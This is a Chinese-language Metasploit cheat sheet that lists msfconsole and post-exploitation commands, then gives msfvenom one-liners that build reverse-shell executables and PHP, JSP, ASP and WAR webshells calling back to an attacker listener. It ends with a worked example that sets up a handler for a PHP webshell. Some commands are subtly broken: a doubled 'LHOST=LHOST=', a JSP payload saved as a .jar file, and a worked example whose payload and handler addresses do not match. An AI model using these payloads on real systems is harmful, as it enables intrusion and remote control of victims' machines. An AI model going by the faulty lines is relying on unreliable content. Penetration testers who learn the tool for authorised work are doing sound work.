msf

msfconsole

MSF是Metasploit Framework的缩写,它是一个开源的安全工具,用于开发、测试和执行漏洞利用代码。它由Rapid7公司维护,被安全研究人员和渗透测试人员广泛使用,以发现和利用系统漏洞。Metasploit提供了一个模块化的架构,包括各种类型的漏洞利用、载荷、辅助功能和其他工具。

以下是一些常用的MSF命令:

# 启动Metasploit Console,这是Metasploit的交互式接口。
msfconsole

常用命令

在msf交互界面 msf> 的常用命令如下

# 在Metasploit数据库中搜索特定的漏洞或模块
# 如:search type:exploit platform:windows smb
search <vuln_or_module>

# 选择一个特定的模块来使用
# 例:use exploit/windows/smb/ms08_067_netapi
use <module>

# 显示当前模块的配置选项
show options

# 配置一个模块的选项
# 例:set RHOST 192.168.1.100
set <host>

# 执行选择的漏洞利用模块
exploit

# 运行辅助模块或在后台执行漏洞利用
run
# 或
exploit -j

# 列出所有活动的会话
sessions

# 与指定ID的会话进行交互
sessions -i [session_id]

# 将当前会话放到后台
background

# 使用nmap进行网络扫描,并将结果存储到Metasploit的数据库中
db_nmap

# 管理Metasploit的工作区,可以用来隔离不同的项目
workspace

# 加载Metasploit插件
load <plugin>

# 退出Metasploit Console
exit
# 或
quit

# 查看信息
info

# 返回上一级
back

# 获得运行Meterpreter会话的用户名,从而查看当前会话具有的权限
getuid

# 通过各种攻击向量来提升到系统用户权限
getsystem

# shell处于靶机的目录
getwd
pwd

# 本地的目录位置
getlwd

# 显示所有运行进程以及管联的用户账户
ps

# 执行cmd.exe命令并进行交互
execute -f cmd.exe -i

# 以所有可用令牌来运行一个交互的shell
shell

详细命令

msf6 > help
核心命令
=============
    命令       描述
    -------   -----------
    ?         帮助菜单
    banner    显示一个很酷的metasploit横幅
    cd        更改当前工作目录
    color     切换颜色
    connect   与主机通信
    debug     显示有助于调试的信息
    exit      退出控制台
    features  显示尚未发布的特性的列表,可以选择加入
    get       获取特定于上下文的变量的值
    getg      获取全局变量的值
    grep      过滤另一个命令的输出
    help      帮助菜单
    history   显示命令历史
    load      加载框架插件
    quit      退出控制台
    repeat    重复一系列命令
    route     通过会话路由流量
    save      保存活动数据存储
    sessions  转储会话列表并显示有关会话的信息
    set       将特定于上下文的变量设置为值
    setg      将全局变量设置为值
    sleep     在指定的秒数内不做任何事情
    spool     将控制台输出写入文件以及屏幕
    threads   查看和管理后台线程
    tips      显示有用的生产力提示列表
    unload    卸载框架插件
    unset     取消设置一个或多个特定于上下文的变量
    unsetg    取消设置一个或多个全局变量
    version   显示框架和控制台库的版本号
模块命令
===============
    命令       描述
    -------   -----------
    advanced  显示一个或多个模块的高级选项
    back      从当前上下文返回
    clearm    清除模块堆栈
    favorite  将模块添加到收藏模块列表
    favorites 打印收藏模块列表(`show favorites`的别名)
    info      显示一个或多个模块的信息
    listm     列出模块堆栈
    loadpath  搜索并从路径加载模块
    options   显示全局选项或一个或多个模块的选项
    popm      将最新的模块从堆栈中弹出并使其处于活动状态
    previous  将先前加载的模块设置为当前模块
    pushm     将活动模块或模块列表推送到模块堆栈
    reload_all 从所有定义的模块路径重新加载所有模块
    search    搜索模块名称和描述
    show      显示给定类型的模块,或所有模块
    use       通过名称或搜索词/索引与模块交互
作业命令
============
    命令       描述
    -------   -----------
    handler   以作业形式启动有效载荷处理程序
    jobs      显示和管理作业
    kill      杀死一个作业
    rename_job 重命名一个作业
资源脚本命令
========================
    命令       描述
    -------   -----------
    makerc    将启动后输入的命令保存到文件
    resource  运行存储在文件中的命令
数据库后端命令
=========================
    命令       描述
    -------   -----------
    analyze   分析有关特定地址或地址范围的数据库信息
    db_connect 连接到现有的数据服务
    db_disconnec 断开与当前数据服务的连接
    t
    db_export 导出包含数据库内容的文件
    db_import 导入扫描结果文件(文件类型将自动检测)
    db_nmap   执行nmap并自动记录输出
    db_rebuild_c 重建数据库存储的模块缓存(已弃用)
    ache
    db_remove 删除保存的数据服务条目
    db_save   保存当前数据服务连接作为默认连接,以便在启动时重新连接
    db_stats  显示数据库统计信息
    db_status 显示当前数据服务状态
    hosts     列出数据库中的所有主机
    klist     列出数据库中的Kerberos票证
    loot      列出数据库中的所有战利品
    notes     列出数据库中的所有注释
    services  列出数据库中的所有服务
    vulns     列出数据库中的所有漏洞
    workspace 在数据库工作区之间切换
凭据后端命令
============================
    命令       描述
    -------   -----------
    creds     列出数据库中的所有凭据
开发者命令
==================
    命令       描述
    -------   -----------
    edit      使用首选编辑器编辑当前模块或文件
    irb       在当前上下文中打开交互式Ruby shell
    log       尽可能将`framework.log`分页显示到末尾
    pry       在当前模块或框架上打开Pry调试器
    reload_lib 重新加载指定路径中的Ruby库文件
    time      计算运行特定命令所需的时间

msfconsole
==========
`msfconsole` 是 Metasploit Framework 的主要接口。这里有很多内容需要介绍,请耐心等待,并关注这个空间!


构建范围和列表
-------------------------
许多接受事物列表的命令和选项可以使用范围来避免手动列出每个所需的事物。所有范围都是包含的。

### ID范围
接受ID列表的命令可以使用范围来帮助。单个ID必须由 `,` 分隔(不允许有空格),范围可以用 `-` 或 `..` 表示。

### IP范围
有几种方法可以指定IP地址范围,可以混合使用。第一种方法是将IP地址用 ` `(ASCII空格)分隔,可选使用 `,`。第二种方法是用两个完整的IP地址的形式 `开始地址-END地址`,如 `127.0.1.44-127.0.2.33`。也可以使用CIDR规范,但是整个地址必须提供给Metasploit,如 `127.0.0.0/8`,而不是 `127/8`,这与RFC相反。此外,网络掩码可以与域名结合使用,动态解析要定位的块。所有这些方法都适用于IPv4和IPv6地址。IPv4地址还可以使用[NMAP目标规范](https://nmap.org/book/man-target-specification.html)中的特殊八位字节范围来指定。

### 示例
终止第一个会话:
    sessions -k 1
停止一些额外的运行作业:
    jobs -k 2-6,7,8,11..15
检查一组IP地址:
    check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
定位一组IPv6主机:
    set RHOSTS fe80::3990:0000/110, ::1-::f0f0
定位从解析的域名开始的块:
    set RHOSTS www.example.test/24

msfvenom

常用命令

msfvenom 是 Metasploit 框架中用于生成有效负载和编码器的工具。它可以将有效负载与特定的编码器、NOP生成器和无阶段的有效负载结合在一起,生成各种格式的有效负载,如 raw、hex、python 等。msfvenom 集成了 msfpayload 和 msfencode 的功能,提供了一个强大的有效负载生成器。

生成二进制shell

Windows :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe

这将生成一个反弹 shell 到 192.168.1.10 的 Windows 可执行文件。
macOS :

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho > shell.macho

这将生成一个 macOS 的 Mach-O 可执行文件,用于反弹 shell 到 192.168.1.10。
Linux :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf

这将生成一个 Linux 的 ELF 可执行文件,用于反弹 shell 到 192.168.1.10。

webshell

PHP :

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php

这将生成一个 PHP 脚本,用于连接到 192.168.1.10 的监听器。
Python :

msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.py

这将生成一个 Python 脚本,用于连接到 192.168.1.10 的监听器。
Java :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.jar

这将生成一个 Java JSP 有效负载,用于连接到 192.168.1.10 的监听器。
JSP :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.jsp

ASP :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp > shell.asp

WAR :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST=192.168.1.10 LPORT=4444 -f war > shell.war

如何利用

下面以php为例做一下测试,使用以下命令生成一个webshell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler 
 
set PAYLOAD php/meterpreter_reverse_tcp 

set LHOST 192.168.153.176

set LPORT  4444 

exploit

详细命令

MsfVenom - Metasploit 的独立有效载荷生成器。
也是 msfpayload 和 msfencode 的替代品。
用法:/usr/bin/msfvenom [选项] <var=val>
示例:/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
选项:
    -l, --list            <类型>     列出所有[类型]的模块。类型包括:payloads(有效载荷)、encoders(编码器)、nops(空操作指令)、platforms(平台)、archs(架构)、encrypt(加密)、formats(格式)、all(所有)
    -p, --payload         <有效载荷> 使用的有效载荷(使用 --list payloads 列出,--list-options 列出参数)。指定 '-' 或 STDIN 用于自定义
        --list-options               列出 --payload <值> 的标准、高级和规避选项
    -f, --format          <格式>   输出格式(使用 --list formats 列出)
    -e, --encoder         <编码器>  使用的编码器(使用 --list encoders 列出)
        --service-name    <值>    生成服务二进制文件时使用的服务名称
        --sec-name        <值>    生成大型Windows二进制文件时使用的新节名称。默认:随机4个字符的字母字符串
        --smallest                   使用所有可用的编码器生成尽可能小的有效载荷
        --encrypt         <值>    应用于shellcode的加密或编码类型(使用 --list encrypt 列出)
        --encrypt-key     <值>    用于 --encrypt 的密钥
        --encrypt-iv      <值>    用于 --encrypt 的初始化向量
    -a, --arch            <架构>   用于 --payload 和 --encoders 的架构(使用 --list archs 列出)
        --platform        <平台>   用于 --payload 的平台(使用 --list platforms 列出)
    -o, --out             <路径>   将有效载荷保存到文件
    -b, --bad-chars       <列表>   要避免的字符示例:'\x00\xff'
    -n, --nopsled         <长度>   在有效载荷前附加 [长度] 大小的nopsled
        --pad-nops                   使用 -n <长度> 指定的nopsled大小作为总有效载荷大小,自动在前面附加数量为(nops减去有效载荷长度)的nopsled
    -s, --space           <长度>   结果有效载荷的最大大小
        --encoder-space   <长度>   编码有效载荷的最大大小(默认为 -s 值)
    -i, --iterations      <次数>   编码有效载荷的次数
    -c, --add-code        <路径>   指定要包含的额外的win32 shellcode文件
    -x, --template        <路径>   指定使用自定义可执行文件作为模板
    -k, --keep                       保留 --template 行为并在新线程中注入有效载荷
    -v, --var-name        <值>    为某些输出格式指定自定义变量名称
    -t, --timeout         <秒>   当从STDIN读取有效载荷时要等待的秒数(默认30,0禁用)
    -h, --help                       显示此帮助信息